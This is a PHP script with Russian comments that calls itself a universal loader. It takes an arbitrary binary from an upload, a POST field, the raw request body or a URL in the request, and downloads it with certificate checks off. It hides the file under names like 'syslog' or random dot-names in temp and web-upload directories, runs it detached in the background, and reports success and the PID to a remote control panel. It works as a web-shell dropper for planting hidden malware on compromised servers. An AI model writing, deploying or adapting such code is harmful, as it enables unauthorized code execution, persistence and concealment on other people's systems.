<?php
// ============================================================
// УНИВЕРСАЛЬНЫЙ ЗАГРУЗЧИК v6.2
// Гарантированный запуск в фоне, без лишних файлов
// ============================================================

define('MAX_RETRIES', 3);
define('TIMEOUT', 60);
define('BINARY_MIN_SIZE', 100);

// ===== КОНФИГУРАЦИЯ ЛОГИРОВАНИЯ =====
$LOG_URL = 'https://your-panel.com/api/deploy/log'; // ЗАМЕНИТЕ
$LOG_TOKEN = 'your-secret-token'; // ЗАМЕНИТЕ

$log_data = [
    'status' => 'started',
    'pid' => null,
    'path' => null,
    'error' => null,
    'timestamp' => time()
];

// ===== 1. ПОЛУЧЕНИЕ БИНАРНИКА =====
$binary_data = get_binary_data();

if (!$binary_data || strlen($binary_data) < BINARY_MIN_SIZE) {
    $log_data['status'] = 'error';
    $log_data['error'] = 'NO_BINARY_DATA (size: ' . (strlen($binary_data) ?? 0) . ')';
    send_log($LOG_URL, $LOG_TOKEN, $log_data);
    die('ERROR: ' . $log_data['error']);
}

// ===== 2. СОХРАНЕНИЕ (ПРИОРИТЕТ: __DIR__) =====
$save_result = save_binary_with_priority($binary_data);
if (!$save_result['success']) {
    $log_data['status'] = 'error';
    $log_data['error'] = 'SAVE_FAILED - ' . $save_result['message'];
    send_log($LOG_URL, $LOG_TOKEN, $log_data);
    die('ERROR: ' . $log_data['error']);
}
$path = $save_result['path'];
$log_data['path'] = $path;

// ===== 3. ПРОВЕРКА ФАЙЛА =====
if (!file_exists($path) || filesize($path) < BINARY_MIN_SIZE) {
    $log_data['status'] = 'error';
    $log_data['error'] = 'FILE_INVALID - path: ' . $path . ', size: ' . filesize($path);
    send_log($LOG_URL, $LOG_TOKEN, $log_data);
    die('ERROR: ' . $log_data['error']);
}

// ===== 4. УСТАНОВКА ПРАВ =====
if (!@chmod($path, 0777)) {
    $log_data['status'] = 'error';
    $log_data['error'] = 'CHMOD_FAILED - ' . $path;
    send_log($LOG_URL, $LOG_TOKEN, $log_data);
    die('ERROR: ' . $log_data['error']);
}

// ===== 5. ЗАПУСК В ФОНЕ С ОТВЯЗКОЙ =====
$cwd = dirname($path);
$cmd = "cd $cwd && setsid nohup $path > /dev/null 2>&1 &";
@shell_exec($cmd);

// Проверяем, запустился ли процесс
usleep(500000);
$pid = @shell_exec("pgrep -f " . escapeshellarg($path));

if ($pid) {
    $log_data['status'] = 'success';
    $log_data['pid'] = trim($pid);
    send_log($LOG_URL, $LOG_TOKEN, $log_data);
    die('SUCCESS: BINARY_RUNNING (PID: ' . trim($pid) . ', path: ' . $path . ')');
} else {
    // Вторая попытка: простой exec в фоне
    @exec("cd $cwd && $path > /dev/null 2>&1 &");
    usleep(500000);
    $pid = @shell_exec("pgrep -f " . escapeshellarg($path));
    if ($pid) {
        $log_data['status'] = 'success';
        $log_data['pid'] = trim($pid);
        send_log($LOG_URL, $LOG_TOKEN, $log_data);
        die('SUCCESS: BINARY_RUNNING (PID: ' . trim($pid) . ')');
    } else {
        $log_data['status'] = 'error';
        $log_data['error'] = 'PROCESS_NOT_FOUND - ' . $path;
        send_log($LOG_URL, $LOG_TOKEN, $log_data);
        die('ERROR: ' . $log_data['error']);
    }
}

// ============================================================
// ВСПОМОГАТЕЛЬНЫЕ ФУНКЦИИ (упрощённые)
// ============================================================

function get_binary_data() {
    if (!empty($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
        return file_get_contents($_FILES['file']['tmp_name']);
    }
    if (!empty($_POST['bin'])) {
        $data = base64_decode($_POST['bin'], true);
        if ($data !== false) return $data;
    }
    if (!empty($_POST['url']) || !empty($_GET['url'])) {
        $url = !empty($_POST['url']) ? $_POST['url'] : $_GET['url'];
        return download_binary($url);
    }
    $raw = file_get_contents('php://input');
    if ($raw && strlen($raw) > BINARY_MIN_SIZE) return $raw;
    return null;
}

function download_binary($url) {
    $data = '';
    for ($i = 0; $i < MAX_RETRIES; $i++) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            $data = curl_exec($ch);
            curl_close($ch);
            if ($data && strlen($data) > BINARY_MIN_SIZE) return $data;
        }
        if (ini_get('allow_url_fopen')) {
            $data = @file_get_contents($url);
            if ($data && strlen($data) > BINARY_MIN_SIZE) return $data;
        }
        sleep(1);
    }
    return $data;
}

function save_binary_with_priority($data) {
    $dirs = [];
    if (is_dir(__DIR__) && is_writable(__DIR__)) $dirs[] = __DIR__;
    $parent = dirname(__DIR__);
    if ($parent && is_dir($parent) && is_writable($parent) && $parent !== __DIR__) $dirs[] = $parent;
    $cwd = getcwd();
    if ($cwd && is_dir($cwd) && is_writable($cwd) && $cwd !== __DIR__ && $cwd !== $parent) $dirs[] = $cwd;
    foreach (get_writable_dirs() as $dir) {
        if (!in_array($dir, $dirs)) $dirs[] = $dir;
    }
    foreach ($dirs as $dir) {
        $names = [
            'syslog',
            '.' . md5(uniqid() . $dir),
            '.cache/syslog',
            '.config/syslog',
            '.tmp/syslog',
            '.data/syslog',
            '.' . bin2hex(random_bytes(8)),
        ];
        shuffle($names);
        foreach ($names as $name) {
            $path = $dir . '/' . $name;
            $subdir = dirname($path);
            if (!is_dir($subdir)) @mkdir($subdir, 0777, true);
            if (@file_put_contents($path, $data) !== false) {
                @chmod($path, 0777);
                if (file_exists($path) && filesize($path) == strlen($data)) {
                    return ['success' => true, 'path' => $path];
                }
            }
        }
    }
    $tmp = tempnam(sys_get_temp_dir(), 'bin_');
    if ($tmp && file_put_contents($tmp, $data) !== false) {
        chmod($tmp, 0777);
        return ['success' => true, 'path' => $tmp];
    }
    return ['success' => false, 'path' => null, 'message' => 'No writable directory'];
}

function get_writable_dirs() {
    $dirs = [];
    $standard = [
        sys_get_temp_dir(),
        '/tmp', '/var/tmp', '/dev/shm', '/run/shm',
        ini_get('upload_tmp_dir'),
        session_save_path(),
    ];
    foreach ($standard as $dir) {
        if ($dir && is_dir($dir) && is_writable($dir)) $dirs[] = $dir;
    }
    foreach (['TMP', 'TEMP', 'TMPDIR', 'HOME', 'USERPROFILE'] as $env) {
        $dir = getenv($env);
        if ($dir && is_dir($dir) && is_writable($dir)) $dirs[] = $dir;
    }
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
        $root = $_SERVER['DOCUMENT_ROOT'];
        foreach (['cache', 'temp', 'tmp', 'uploads', 'files', 'data'] as $sub) {
            $dir = $root . '/' . $sub;
            if (is_dir($dir) && is_writable($dir)) $dirs[] = $dir;
        }
        if (is_dir($root . '/wp-content/uploads')) $dirs[] = $root . '/wp-content/uploads';
        if (is_dir($root . '/var/cache')) $dirs[] = $root . '/var/cache';
    }
    return array_values(array_unique($dirs));
}

function send_log($url, $token, $data) {
    $data['token'] = $token;
    $json = json_encode($data);
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_exec($ch);
        curl_close($ch);
    }
}
?>